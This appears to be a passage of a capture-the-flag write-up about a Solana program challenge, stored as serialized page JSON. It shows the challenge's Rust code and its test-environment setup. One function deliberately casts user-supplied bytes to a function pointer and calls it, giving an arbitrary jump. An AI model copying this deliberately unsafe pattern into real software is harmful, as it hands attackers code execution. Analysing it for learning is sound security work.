).unwrap();\n}\n",[47652],{"type":24,"tag":284,"props":47653,"children":47654},{"__ignoreMap":7},[47655,47662,47706,47731,47761,47801,47822,47829,47836,47848,47864,47876,47887,47906],{"type":24,"tag":327,"props":47656,"children":47657},{"class":329,"line":330},[47658],{"type":24,"tag":327,"props":47659,"children":47660},{"style":346},[47661],{"type":29,"value":47293},{"type":24,"tag":327,"props":47663,"children":47664},{"class":329,"line":367},[47665,47669,47673,47678,47682,47686,47690,47694,47698,47702],{"type":24,"tag":327,"props":47666,"children":47667},{"style":334},[47668],{"type":29,"value":2524},{"type":24,"tag":327,"props":47670,"children":47671},{"style":334},[47672],{"type":29,"value":4653},{"type":24,"tag":327,"props":47674,"children":47675},{"style":340},[47676],{"type":29,"value":47677}," call",{"type":24,"tag":327,"props":47679,"children":47680},{"style":346},[47681],{"type":29,"value":349},{"type":24,"tag":327,"props":47683,"children":47684},{"style":356},[47685],{"type":29,"value":11298},{"type":24,"tag":327,"props":47687,"children":47688},{"style":381},[47689],{"type":29,"value":1636},{"type":24,"tag":327,"props":47691,"children":47692},{"style":381},[47693],{"type":29,"value":14704},{"type":24,"tag":327,"props":47695,"children":47696},{"style":346},[47697],{"type":29,"value":11329},{"type":24,"tag":327,"props":47699,"children":47700},{"style":1639},[47701],{"type":29,"value":11022},{"type":24,"tag":327,"props":47703,"children":47704},{"style":346},[47705],{"type":29,"value":47338},{"type":24,"tag":327,"props":47707,"children":47708},{"class":329,"line":408},[47709,47713,47718,47722,47727],{"type":24,"tag":327,"props":47710,"children":47711},{"style":334},[47712],{"type":29,"value":4794},{"type":24,"tag":327,"props":47714,"children":47715},{"style":356},[47716],{"type":29,"value":47717}," ix",{"type":24,"tag":327,"props":47719,"children":47720},{"style":381},[47721],{"type":29,"value":4809},{"type":24,"tag":327,"props":47723,"children":47724},{"style":1639},[47725],{"type":29,"value":47726}," Instruction",{"type":24,"tag":327,"props":47728,"children":47729},{"style":346},[47730],{"type":29,"value":497},{"type":24,"tag":327,"props":47732,"children":47733},{"class":329,"line":421},[47734,47739,47743,47748,47752,47757],{"type":24,"tag":327,"props":47735,"children":47736},{"style":356},[47737],{"type":29,"value":47738},"        program_id",{"type":24,"tag":327,"props":47740,"children":47741},{"style":381},[47742],{"type":29,"value":1636},{"type":24,"tag":327,"props":47744,"children":47745},{"style":340},[47746],{"type":29,"value":47747}," pubkey!",{"type":24,"tag":327,"props":47749,"children":47750},{"style":346},[47751],{"type":29,"value":349},{"type":24,"tag":327,"props":47753,"children":47754},{"style":844},[47755],{"type":29,"value":47756},"\"osecio5555555555555551111111111111111111111\"",{"type":24,"tag":327,"props":47758,"children":47759},{"style":346},[47760],{"type":29,"value":9212},{"type":24,"tag":327,"props":47762,"children":47763},{"class":329,"line":450},[47764,47769,47773,47777,47781,47785,47789,47793,47797],{"type":24,"tag":327,"props":47765,"children":47766},{"style":356},[47767],{"type":29,"value":47768},"        data",{"type":24,"tag":327,"props":47770,"children":47771},{"style":381},[47772],{"type":29,"value":1636},{"type":24,"tag":327,"props":47774,"children":47775},{"style":356},[47776],{"type":29,"value":22628},{"type":24,"tag":327,"props":47778,"children":47779},{"style":381},[47780],{"type":29,"value":66},{"type":24,"tag":327,"props":47782,"children":47783},{"style":340},[47784],{"type":29,"value":7625},{"type":24,"tag":327,"props":47786,"children":47787},{"style":346},[47788],{"type":29,"value":7616},{"type":24,"tag":327,"props":47790,"children":47791},{"style":381},[47792],{"type":29,"value":66},{"type":24,"tag":327,"props":47794,"children":47795},{"style":340},[47796],{"type":29,"value":5352},{"type":24,"tag":327,"props":47798,"children":47799},{"style":346},[47800],{"type":29,"value":5357},{"type":24,"tag":327,"props":47802,"children":47803},{"class":329,"line":481},[47804,47809,47813,47817],{"type":24,"tag":327,"props":47805,"children":47806},{"style":356},[47807],{"type":29,"value":47808},"        accounts",{"type":24,"tag":327,"props":47810,"children":47811},{"style":381},[47812],{"type":29,"value":1636},{"type":24,"tag":327,"props":47814,"children":47815},{"style":340},[47816],{"type":29,"value":11324},{"type":24,"tag":327,"props":47818,"children":47819},{"style":346},[47820],{"type":29,"value":47821},"[]\n",{"type":24,"tag":327,"props":47823,"children":47824},{"class":329,"line":500},[47825],{"type":24,"tag":327,"props":47826,"children":47827},{"style":346},[47828],{"type":29,"value":45710},{"type":24,"tag":327,"props":47830,"children":47831},{"class":329,"line":529},[47832],{"type":24,"tag":327,"props":47833,"children":47834},{"emptyLinePlaceholder":16},[47835],{"type":29,"value":544},{"type":24,"tag":327,"props":47837,"children":47838},{"class":329,"line":538},[47839,47844],{"type":24,"tag":327,"props":47840,"children":47841},{"style":340},[47842],{"type":29,"value":47843},"    invoke_signed_unchecked",{"type":24,"tag":327,"props":47845,"children":47846},{"style":346},[47847],{"type":29,"value":4663},{"type":24,"tag":327,"props":47849,"children":47850},{"class":329,"line":547},[47851,47855,47860],{"type":24,"tag":327,"props":47852,"children":47853},{"style":381},[47854],{"type":29,"value":11071},{"type":24,"tag":327,"props":47856,"children":47857},{"style":356},[47858],{"type":29,"value":47859},"ix",{"type":24,"tag":327,"props":47861,"children":47862},{"style":346},[47863],{"type":29,"value":2231},{"type":24,"tag":327,"props":47865,"children":47866},{"class":329,"line":557},[47867,47871],{"type":24,"tag":327,"props":47868,"children":47869},{"style":381},[47870],{"type":29,"value":11071},{"type":24,"tag":327,"props":47872,"children":47873},{"style":346},[47874],{"type":29,"value":47875},"[],\n",{"type":24,"tag":327,"props":47877,"children":47878},{"class":329,"line":586},[47879,47883],{"type":24,"tag":327,"props":47880,"children":47881},{"style":381},[47882],{"type":29,"value":11071},{"type":24,"tag":327,"props":47884,"children":47885},{"style":346},[47886],{"type":29,"value":47875},{"type":24,"tag":327,"props":47888,"children":47889},{"class":329,"line":1017},[47890,47894,47898,47902],{"type":24,"tag":327,"props":47891,"children":47892},{"style":346},[47893],{"type":29,"value":11254},{"type":24,"tag":327,"props":47895,"children":47896},{"style":381},[47897],{"type":29,"value":66},{"type":24,"tag":327,"props":47899,"children":47900},{"style":340},[47901],{"type":29,"value":5352},{"type":24,"tag":327,"props":47903,"children":47904},{"style":346},[47905],{"type":29,"value":4838},{"type":24,"tag":327,"props":47907,"children":47908},{"class":329,"line":1026},[47909],{"type":24,"tag":327,"props":47910,"children":47911},{"style":346},[47912],{"type":29,"value":592},{"type":24,"tag":175,"props":47914,"children":47915},{"start":408},[47916],{"type":24,"tag":179,"props":47917,"children":47918},{},[47919,47921,47927],{"type":29,"value":47920},"Finally, if ",{"type":24,"tag":284,"props":47922,"children":47924},{"className":47923},[],[47925],{"type":29,"value":47926},"data[0]",{"type":29,"value":47928}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":24,"tag":317,"props":47930,"children":47932},{"className":1553,"code":47931,"language":1552,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[47933],{"type":24,"tag":284,"props":47934,"children":47935},{"__ignoreMap":7},[47936,47943,47991,48002,48122,48237,48256,48263,48298,48305,48424,48539,48558,48565],{"type":24,"tag":327,"props":47937,"children":47938},{"class":329,"line":330},[47939],{"type":24,"tag":327,"props":47940,"children":47941},{"style":346},[47942],{"type":29,"value":47293},{"type":24,"tag":327,"props":47944,"children":47945},{"class":329,"line":367},[47946,47950,47954,47959,47963,47967,47971,47975,47979,47983,47987],{"type":24,"tag":327,"props":47947,"children":47948},{"style":334},[47949],{"type":29,"value":2524},{"type":24,"tag":327,"props":47951,"children":47952},{"style":334},[47953],{"type":29,"value":4653},{"type":24,"tag":327,"props":47955,"children":47956},{"style":340},[47957],{"type":29,"value":47958}," process",{"type":24,"tag":327,"props":47960,"children":47961},{"style":346},[47962],{"type":29,"value":349},{"type":24,"tag":327,"props":47964,"children":47965},{"style":334},[47966],{"type":29,"value":2099},{"type":24,"tag":327,"props":47968,"children":47969},{"style":356},[47970],{"type":29,"value":22628},{"type":24,"tag":327,"props":47972,"children":47973},{"style":381},[47974],{"type":29,"value":1636},{"type":24,"tag":327,"props":47976,"children":47977},{"style":381},[47978],{"type":29,"value":14704},{"type":24,"tag":327,"props":47980,"children":47981},{"style":346},[47982],{"type":29,"value":11329},{"type":24,"tag":327,"props":47984,"children":47985},{"style":1639},[47986],{"type":29,"value":11022},{"type":24,"tag":327,"props":47988,"children":47989},{"style":346},[47990],{"type":29,"value":47338},{"type":24,"tag":327,"props":47992,"children":47993},{"class":329,"line":408},[47994,47998],{"type":24,"tag":327,"props":47995,"children":47996},{"style":334},[47997],{"type":29,"value":21367},{"type":24,"tag":327,"props":47999,"children":48000},{"style":346},[48001],{"type":29,"value":497},{"type":24,"tag":327,"props":48003,"children":48004},{"class":329,"line":421},[48005,48009,48013,48017,48021,48025,48029,48033,48037,48041,48045,48049,48053,48057,48061,48065,48069,48073,48078,48082,48086,48090,48094,48098,48102,48106,48110,48114,48118],{"type":24,"tag":327,"props":48006,"children":48007},{"style":334},[48008],{"type":29,"value":7558},{"type":24,"tag":327,"props":48010,"children":48011},{"style":356},[48012],{"type":29,"value":21391},{"type":24,"tag":327,"props":48014,"children":48015},{"style":381},[48016],{"type":29,"value":4809},{"type":24,"tag":327,"props":48018,"children":48019},{"style":346},[48020],{"type":29,"value":47369},{"type":24,"tag":327,"props":48022,"children":48023},{"style":381},[48024],{"type":29,"value":2407},{"type":24,"tag":327,"props":48026,"children":48027},{"style":346},[48028],{"type":29,"value":47378},{"type":24,"tag":327,"props":48030,"children":48031},{"style":381},[48032],{"type":29,"value":2407},{"type":24,"tag":327,"props":48034,"children":48035},{"style":340},[48036],{"type":29,"value":47387},{"type":24,"tag":327,"props":48038,"children":48039},{"style":381},[48040],{"type":29,"value":2407},{"type":24,"tag":327,"props":48042,"children":48043},{"style":346},[48044],{"type":29,"value":47396},{"type":24,"tag":327,"props":48046,"children":48047},{"style":1639},[48048],{"type":29,"value":11022},{"type":24,"tag":327,"props":48050,"children":48051},{"style":346},[48052],{"type":29,"value":9866},{"type":24,"tag":327,"props":48054,"children":48055},{"style":397},[48056],{"type":29,"value":11653},{"type":24,"tag":327,"props":48058,"children":48059},{"style":346},[48060],{"type":29,"value":4474},{"type":24,"tag":327,"props":48062,"children":48063},{"style":334},[48064],{"type":29,"value":1617},{"type":24,"tag":327,"props":48066,"children":48067},{"style":346},[48068],{"type":29,"value":349},{"type":24,"tag":327,"props":48070,"children":48071},{"style":1639},[48072],{"type":29,"value":15603},{"type":24,"tag":327,"props":48074,"children":48075},{"style":346},[48076],{"type":29,"value":48077},")>(",{"type":24,"tag":327,"props":48079,"children":48080},{"style":356},[48081],{"type":29,"value":11298},{"type":24,"tag":327,"props":48083,"children":48084},{"style":346},[48085],{"type":29,"value":11329},{"type":24,"tag":327,"props":48087,"children":48088},{"style":381},[48089],{"type":29,"value":10662},{"type":24,"tag":327,"props":48091,"children":48092},{"style":397},[48093],{"type":29,"value":11653},{"type":24,"tag":327,"props":48095,"children":48096},{"style":346},[48097],{"type":29,"value":22934},{"type":24,"tag":327,"props":48099,"children":48100},{"style":381},[48101],{"type":29,"value":66},{"type":24,"tag":327,"props":48103,"children":48104},{"style":340},[48105],{"type":29,"value":7625},{"type":24,"tag":327,"props":48107,"children":48108},{"style":346},[48109],{"type":29,"value":7616},{"type":24,"tag":327,"props":48111,"children":48112},{"style":381},[48113],{"type":29,"value":66},{"type":24,"tag":327,"props":48115,"children":48116},{"style":340},[48117],{"type":29,"value":5352},{"type":24,"tag":327,"props":48119,"children":48120},{"style":346},[48121],{"type":29,"value":10225},{"type":24,"tag":327,"props":48123,"children":48124},{"class":329,"line":450},[48125,48129,48133,48137,48141,48145,48149,48153,48157,48161,48165,48169,48173,48177,48181,48185,48189,48193,48197,48201,48205,48209,48213,48217,48221,48225,48229,48233],{"type":24,"tag":327,"props":48126,"children":48127},{"style":334},[48128],{"type":29,"value":7558},{"type":24,"tag":327,"props":48130,"children":48131},{"style":356},[48132],{"type":29,"value":47484},{"type":24,"tag":327,"props":48134,"children":48135},{"style":381},[48136],{"type":29,"value":4809},{"type":24,"tag":327,"props":48138,"children":48139},{"style":346},[48140],{"type":29,"value":47369},{"type":24,"tag":327,"props":48142,"children":48143},{"style":381},[48144],{"type":29,"value":2407},{"type":24,"tag":327,"props":48146,"children":48147},{"style":346},[48148],{"type":29,"value":47378},{"type":24,"tag":327,"props":48150,"children":48151},{"style":381},[48152],{"type":29,"value":2407},{"type":24,"tag":327,"props":48154,"children":48155},{"style":340},[48156],{"type":29,"value":47387},{"type":24,"tag":327,"props":48158,"children":48159},{"style":381},[48160],{"type":29,"value":2407},{"type":24,"tag":327,"props":48162,"children":48163},{"style":346},[48164],{"type":29,"value":47396},{"type":24,"tag":327,"props":48166,"children":48167},{"style":1639},[48168],{"type":29,"value":11022},{"type":24,"tag":327,"props":48170,"children":48171},{"style":346},[48172],{"type":29,"value":9866},{"type":24,"tag":327,"props":48174,"children":48175},{"style":397},[48176],{"type":29,"value":11653},{"type":24,"tag":327,"props":48178,"children":48179},{"style":346},[48180],{"type":29,"value":4474},{"type":24,"tag":327,"props":48182,"children":48183},{"style":1639},[48184],{"type":29,"value":15603},{"type":24,"tag":327,"props":48186,"children":48187},{"style":346},[48188],{"type":29,"value":15173},{"type":24,"tag":327,"props":48190,"children":48191},{"style":356},[48192],{"type":29,"value":11298},{"type":24,"tag":327,"props":48194,"children":48195},{"style":346},[48196],{"type":29,"value":11329},{"type":24,"tag":327,"props":48198,"children":48199},{"style":397},[48200],{"type":29,"value":11653},{"type":24,"tag":327,"props":48202,"children":48203},{"style":381},[48204],{"type":29,"value":10662},{"type":24,"tag":327,"props":48206,"children":48207},{"style":397},[48208],{"type":29,"value":47561},{"type":24,"tag":327,"props":48210,"children":48211},{"style":346},[48212],{"type":29,"value":22934},{"type":24,"tag":327,"props":48214,"children":48215},{"style":381},[48216],{"type":29,"value":66},{"type":24,"tag":327,"props":48218,"children":48219},{"style":340},[48220],{"type":29,"value":7625},{"type":24,"tag":327,"props":48222,"children":48223},{"style":346},[48224],{"type":29,"value":7616},{"type":24,"tag":327,"props":48226,"children":48227},{"style":381},[48228],{"type":29,"value":66},{"type":24,"tag":327,"props":48230,"children":48231},{"style":340},[48232],{"type":29,"value":5352},{"type":24,"tag":327,"props":48234,"children":48235},{"style":346},[48236],{"type":29,"value":10225},{"type":24,"tag":327,"props":48238,"children":48239},{"class":329,"line":481},[48240,48244,48248,48252],{"type":24,"tag":327,"props":48241,"children":48242},{"style":340},[48243],{"type":29,"value":47597},{"type":24,"tag":327,"props":48245,"children":48246},{"style":346},[48247],{"type":29,"value":349},{"type":24,"tag":327,"props":48249,"children":48250},{"style":356},[48251],{"type":29,"value":20176},{"type":24,"tag":327,"props":48253,"children":48254},{"style":346},[48255],{"type":29,"value":583},{"type":24,"tag":327,"props":48257,"children":48258},{"class":329,"line":500},[48259],{"type":24,"tag":327,"props":48260,"children":48261},{"emptyLinePlaceholder":16},[48262],{"type":29,"value":544},{"type":24,"tag":327,"props":48264,"children":48265},{"class":329,"line":529},[48266,48270,48274,48278,48282,48286,48290,48294],{"type":24,"tag":327,"props":48267,"children":48268},{"style":356},[48269],{"type":29,"value":47768},{"type":24,"tag":327,"props":48271,"children":48272},{"style":381},[48273],{"type":29,"value":4809},{"type":24,"tag":327,"props":48275,"children":48276},{"style":381},[48277],{"type":29,"value":14704},{"type":24,"tag":327,"props":48279,"children":48280},{"style":356},[48281],{"type":29,"value":11298},{"type":24,"tag":327,"props":48283,"children":48284},{"style":346},[48285],{"type":29,"value":11329},{"type":24,"tag":327,"props":48287,"children":48288},{"style":397},[48289],{"type":29,"value":47561},{"type":24,"tag":327,"props":48291,"children":48292},{"style":381},[48293],{"type":29,"value":10662},{"type":24,"tag":327,"props":48295,"children":48296},{"style":346},[48297],{"type":29,"value":38284},{"type":24,"tag":327,"props":48299,"children":48300},{"class":329,"line":538},[48301],{"type":24,"tag":327,"props":48302,"children":48303},{"emptyLinePlaceholder":16},[48304],{"type":29,"value":544},{"type":24,"tag":327,"props":48306,"children":48307},{"class":329,"line":547},[48308,48312,48316,48320,48324,48328,48332,48336,48340,48344,48348,48352,48356,48360,48364,48368,48372,48376,48380,48384,48388,48392,48396,48400,48404,48408,48412,48416,48420],{"type":24,"tag":327,"props":48309,"children":48310},{"style":334},[48311],{"type":29,"value":7558},{"type":24,"tag":327,"props":48313,"children":48314},{"style":356},[48315],{"type":29,"value":21391},{"type":24,"tag":327,"props":48317,"children":48318},{"style":381},[48319],{"type":29,"value":4809},{"type":24,"tag":327,"props":48321,"children":48322},{"style":346},[48323],{"type":29,"value":47369},{"type":24,"tag":327,"props":48325,"children":48326},{"style":381},[48327],{"type":29,"value":2407},{"type":24,"tag":327,"props":48329,"children":48330},{"style":346},[48331],{"type":29,"value":47378},{"type":24,"tag":327,"props":48333,"children":48334},{"style":381},[48335],{"type":29,"value":2407},{"type":24,"tag":327,"props":48337,"children":48338},{"style":340},[48339],{"type":29,"value":47387},{"type":24,"tag":327,"props":48341,"children":48342},{"style":381},[48343],{"type":29,"value":2407},{"type":24,"tag":327,"props":48345,"children":48346},{"style":346},[48347],{"type":29,"value":47396},{"type":24,"tag":327,"props":48349,"children":48350},{"style":1639},[48351],{"type":29,"value":11022},{"type":24,"tag":327,"props":48353,"children":48354},{"style":346},[48355],{"type":29,"value":9866},{"type":24,"tag":327,"props":48357,"children":48358},{"style":397},[48359],{"type":29,"value":11653},{"type":24,"tag":327,"props":48361,"children":48362},{"style":346},[48363],{"type":29,"value":4474},{"type":24,"tag":327,"props":48365,"children":48366},{"style":334},[48367],{"type":29,"value":1617},{"type":24,"tag":327,"props":48369,"children":48370},{"style":346},[48371],{"type":29,"value":349},{"type":24,"tag":327,"props":48373,"children":48374},{"style":1639},[48375],{"type":29,"value":15603},{"type":24,"tag":327,"props":48377,"children":48378},{"style":346},[48379],{"type":29,"value":48077},{"type":24,"tag":327,"props":48381,"children":48382},{"style":356},[48383],{"type":29,"value":11298},{"type":24,"tag":327,"props":48385,"children":48386},{"style":346},[48387],{"type":29,"value":11329},{"type":24,"tag":327,"props":48389,"children":48390},{"style":381},[48391],{"type":29,"value":10662},{"type":24,"tag":327,"props":48393,"children":48394},{"style":397},[48395],{"type":29,"value":11653},{"type":24,"tag":327,"props":48397,"children":48398},{"style":346},[48399],{"type":29,"value":22934},{"type":24,"tag":327,"props":48401,"children":48402},{"style":381},[48403],{"type":29,"value":66},{"type":24,"tag":327,"props":48405,"children":48406},{"style":340},[48407],{"type":29,"value":7625},{"type":24,"tag":327,"props":48409,"children":48410},{"style":346},[48411],{"type":29,"value":7616},{"type":24,"tag":327,"props":48413,"children":48414},{"style":381},[48415],{"type":29,"value":66},{"type":24,"tag":327,"props":48417,"children":48418},{"style":340},[48419],{"type":29,"value":5352},{"type":24,"tag":327,"props":48421,"children":48422},{"style":346},[48423],{"type":29,"value":10225},{"type":24,"tag":327,"props":48425,"children":48426},{"class":329,"line":557},[48427,48431,48435,48439,48443,48447,48451,48455,48459,48463,48467,48471,48475,48479,48483,48487,48491,48495,48499,48503,48507,48511,48515,48519,48523,48527,48531,48535],{"type":24,"tag":327,"props":48428,"children":48429},{"style":334},[48430],{"type":29,"value":7558},{"type":24,"tag":327,"props":48432,"children":48433},{"style":356},[48434],{"type":29,"value":47484},{"type":24,"tag":327,"props":48436,"children":48437},{"style":381},[48438],{"type":29,"value":4809},{"type":24,"tag":327,"props":48440,"children":48441},{"style":346},[48442],{"type":29,"value":47369},{"type":24,"tag":327,"props":48444,"children":48445},{"style":381},[48446],{"type":29,"value":2407},{"type":24,"tag":327,"props":48448,"children":48449},{"style":346},[48450],{"type":29,"value":47378},{"type":24,"tag":327,"props":48452,"children":48453},{"style":381},[48454],{"type":29,"value":2407},{"type":24,"tag":327,"props":48456,"children":48457},{"style":340},[48458],{"type":29,"value":47387},{"type":24,"tag":327,"props":48460,"children":48461},{"style":381},[48462],{"type":29,"value":2407},{"type":24,"tag":327,"props":48464,"children":48465},{"style":346},[48466],{"type":29,"value":47396},{"type":24,"tag":327,"props":48468,"children":48469},{"style":1639},[48470],{"type":29,"value":11022},{"type":24,"tag":327,"props":48472,"children":48473},{"style":346},[48474],{"type":29,"value":9866},{"type":24,"tag":327,"props":48476,"children":48477},{"style":397},[48478],{"type":29,"value":11653},{"type":24,"tag":327,"props":48480,"children":48481},{"style":346},[48482],{"type":29,"value":4474},{"type":24,"tag":327,"props":48484,"children":48485},{"style":1639},[48486],{"type":29,"value":15603},{"type":24,"tag":327,"props":48488,"children":48489},{"style":346},[48490],{"type":29,"value":15173},{"type":24,"tag":327,"props":48492,"children":48493},{"style":356},[48494],{"type":29,"value":11298},{"type":24,"tag":327,"props":48496,"children":48497},{"style":346},[48498],{"type":29,"value":11329},{"type":24,"tag":327,"props":48500,"children":48501},{"style":397},[48502],{"type":29,"value":11653},{"type":24,"tag":327,"props":48504,"children":48505},{"style":381},[48506],{"type":29,"value":10662},{"type":24,"tag":327,"props":48508,"children":48509},{"style":397},[48510],{"type":29,"value":47561},{"type":24,"tag":327,"props":48512,"children":48513},{"style":346},[48514],{"type":29,"value":22934},{"type":24,"tag":327,"props":48516,"children":48517},{"style":381},[48518],{"type":29,"value":66},{"type":24,"tag":327,"props":48520,"children":48521},{"style":340},[48522],{"type":29,"value":7625},{"type":24,"tag":327,"props":48524,"children":48525},{"style":346},[48526],{"type":29,"value":7616},{"type":24,"tag":327,"props":48528,"children":48529},{"style":381},[48530],{"type":29,"value":66},{"type":24,"tag":327,"props":48532,"children":48533},{"style":340},[48534],{"type":29,"value":5352},{"type":24,"tag":327,"props":48536,"children":48537},{"style":346},[48538],{"type":29,"value":10225},{"type":24,"tag":327,"props":48540,"children":48541},{"class":329,"line":586},[48542,48546,48550,48554],{"type":24,"tag":327,"props":48543,"children":48544},{"style":340},[48545],{"type":29,"value":47597},{"type":24,"tag":327,"props":48547,"children":48548},{"style":346},[48549],{"type":29,"value":349},{"type":24,"tag":327,"props":48551,"children":48552},{"style":356},[48553],{"type":29,"value":20176},{"type":24,"tag":327,"props":48555,"children":48556},{"style":346},[48557],{"type":29,"value":583},{"type":24,"tag":327,"props":48559,"children":48560},{"class":329,"line":1017},[48561],{"type":24,"tag":327,"props":48562,"children":48563},{"style":346},[48564],{"type":29,"value":535},{"type":24,"tag":327,"props":48566,"children":48567},{"class":329,"line":1026},[48568],{"type":24,"tag":327,"props":48569,"children":48570},{"style":346},[48571],{"type":29,"value":592},{"type":24,"tag":235,"props":48573,"children":48575},{"id":48574},"test-environment",[48576],{"type":29,"value":48577},"Test Environment",{"type":24,"tag":25,"props":48579,"children":48580},{},[48581],{"type":29,"value":48582},"To understand our capabilites regarding interaction with the program and determine what is necessary to get the flag, we must analyze the test environment.",{"type":24,"tag":25,"props":48584,"children":48585},{},[48586,48588,48594],{"type":29,"value":48587},"When you connect to the server through a tcp connection, ",{"type":24,"tag":284,"props":48589,"children":48591},{"className":48590},[],[48592],{"type":29,"value":48593},"framework/src/main.rs::handle_connection",{"type":29,"value":48595}," gets executed, which does the following:",{"type":24,"tag":175,"props":48597,"children":48598},{},[48599],{"type":24,"tag":179,"props":48600,"children":48601},{},[48602],{"type":29,"value":48603},"Creates a new Solana local node",{"type":24,"tag":317,"props":48605,"children":48607},{"className":1553,"code":48606,"language":1552,"meta":7,"style":7},"let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();\nassert!(builder.add_program(\"/path/to/chall.so\", Some(chall::ID)) == chall::ID);\nlet mut chall = builder.build().await;\n",[48608],{"type":24,"tag":284,"props":48609,"children":48610},{"__ignoreMap":7},[48611,48692,48768],{"type":24,"tag":327,"props":48612,"children":48613},{"class":329,"line":330},[48614,48618,48622,48627,48631,48636,48640,48645,48649,48654,48658,48663,48667,48671,48675,48680,48684,48688],{"type":24,"tag":327,"props":48615,"children":48616},{"style":334},[48617],{"type":29,"value":19334},{"type":24,"tag":327,"props":48619,"children":48620},{"style":334},[48621],{"type":29,"value":4799},{"type":24,"tag":327,"props":48623,"children":48624},{"style":356},[48625],{"type":29,"value":48626}," builder",{"type":24,"tag":327,"props":48628,"children":48629},{"style":381},[48630],{"type":29,"value":4809},{"type":24,"tag":327,"props":48632,"children":48633},{"style":1639},[48634],{"type":29,"value":48635}," ChallengeBuilder",{"type":24,"tag":327,"props":48637,"children":48638},{"style":381},[48639],{"type":29,"value":2407},{"type":24,"tag":327,"props":48641,"children":48642},{"style":340},[48643],{"type":29,"value":48644},"try_from",{"type":24,"tag":327,"props":48646,"children":48647},{"style":346},[48648],{"type":29,"value":349},{"type":24,"tag":327,"props":48650,"children":48651},{"style":356},[48652],{"type":29,"value":48653},"socket",{"type":24,"tag":327,"props":48655,"children":48656},{"style":381},[48657],{"type":29,"value":66},{"type":24,"tag":327,"props":48659,"children":48660},{"style":340},[48661],{"type":29,"value":48662},"try_clone",{"type":24,"tag":327,"props":48664,"children":48665},{"style":346},[48666],{"type":29,"value":7616},{"type":24,"tag":327,"props":48668,"children":48669},{"style":381},[48670],{"type":29,"value":66},{"type":24,"tag":327,"props":48672,"children":48673},{"style":340},[48674],{"type":29,"value":5352},{"type":24,"tag":327,"props":48676,"children":48677},{"style":346},[48678],{"type":29,"value":48679},"())",{"type":24,"tag":327,"props":48681,"children":48682},{"style":381},[48683],{"type":29,"value":66},{"type":24,"tag":327,"props":48685,"children":48686},{"style":340},[48687],{"type":29,"value":5352},{"type":24,"tag":327,"props":48689,"children":48690},{"style":346},[48691],{"type":29,"value":4838},{"type":24,"tag":327,"props":48693,"children":48694},{"class":329,"line":367},[48695,48700,48704,48709,48713,48718,48722,48727,48731,48736,48741,48745,48750,48754,48759,48763],{"type":24,"tag":327,"props":48696,"children":48697},{"style":340},[48698],{"type":29,"value":48699},"assert!",{"type":24,"tag":327,"props":48701,"children":48702},{"style":346},[48703],{"type":29,"value":349},{"type":24,"tag":327,"props":48705,"children":48706},{"style":356},[48707],{"type":29,"value":48708},"builder",{"type":24,"tag":327,"props":48710,"children":48711},{"style":381},[48712],{"type":29,"value":66},{"type":24,"tag":327,"props":48714,"children":48715},{"style":340},[48716],{"type":29,"value":48717},"add_program",{"type":24,"tag":327,"props":48719,"children":48720},{"style":346},[48721],{"type":29,"value":349},{"type":24,"tag":327,"props":48723,"children":48724},{"style":844},[48725],{"type":29,"value":48726},"\"/path/to/chall.so\"",{"type":24,"tag":327,"props":48728,"children":48729},{"style":346},[48730],{"type":29,"value":2744},{"type":24,"tag":327,"props":48732,"children":48733},{"style":1639},[48734],{"type":29,"value":48735},"Some",{"type":24,"tag":327,"props":48737,"children":48738},{"style":346},[48739],{"type":29,"value":48740},"(chall",{"type":24,"tag":327,"props":48742,"children":48743},{"style":381},[48744],{"type":29,"value":2407},{"type":24,"tag":327,"props":48746,"children":48747},{"style":346},[48748],{"type":29,"value":48749},"ID)) ",{"type":24,"tag":327,"props":48751,"children":48752},{"style":381},[48753],{"type":29,"value":642},{"type":24,"tag":327,"props":48755,"children":48756},{"style":346},[48757],{"type":29,"value":48758}," chall",{"type":24,"tag":327,"props":48760,"children":48761},{"style":381},[48762],{"type":29,"value":2407},{"type":24,"tag":327,"props":48764,"children":48765},{"style":346},[48766],{"type":29,"value":48767},"ID);\n",{"type":24,"tag":327,"props":48769,"children":48770},{"class":329,"line":408},[48771,48775,48779,48783,48787,48791,48795,48800,48804,48808,48812],{"type":24,"tag":327,"props":48772,"children":48773},{"style":334},[48774],{"type":29,"value":19334},{"type":24,"tag":327,"props":48776,"children":48777},{"style":334},[48778],{"type":29,"value":4799},{"type":24,"tag":327,"props":48780,"children":48781},{"style":356},[48782],{"type":29,"value":48758},{"type":24,"tag":327,"props":48784,"children":48785},{"style":381},[48786],{"type":29,"value":4809},{"type":24,"tag":327,"props":48788,"children":48789},{"style":356},[48790],{"type":29,"value":48626},{"type":24,"tag":327,"props":48792,"children":48793},{"style":381},[48794],{"type":29,"value":66},{"type":24,"tag":327,"props":48796,"children":48797},{"style":340},[48798],{"type":29,"value":48799},"build",{"type":24,"tag":327,"props":48801,"children":48802},{"style":346},[48803],{"type":29,"value":7616},{"type":24,"tag":327,"props":48805,"children":48806},{"style":381},[48807],{"type":29,"value":66},{"type":24,"tag":327,"props":48809,"children":48810},{"style":425},[48811],{"type":29,"value":39627},{"type":24,"tag":327,"props":48813,"children":48814},{"style":346},[48815],{"type":29,"value":405},{"type":24,"tag":175,"props":48817,"children":48818},{"start":367},[48819],{"type":24,"tag":179,"props":48820,"children":48821},{},[48822],{"type":29,"value":48823},"Funds the user account with 100 SOL",{"type":24,"tag":317,"props":48825,"children":48827},{"className":1553,"code":48826,"language":1552,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", 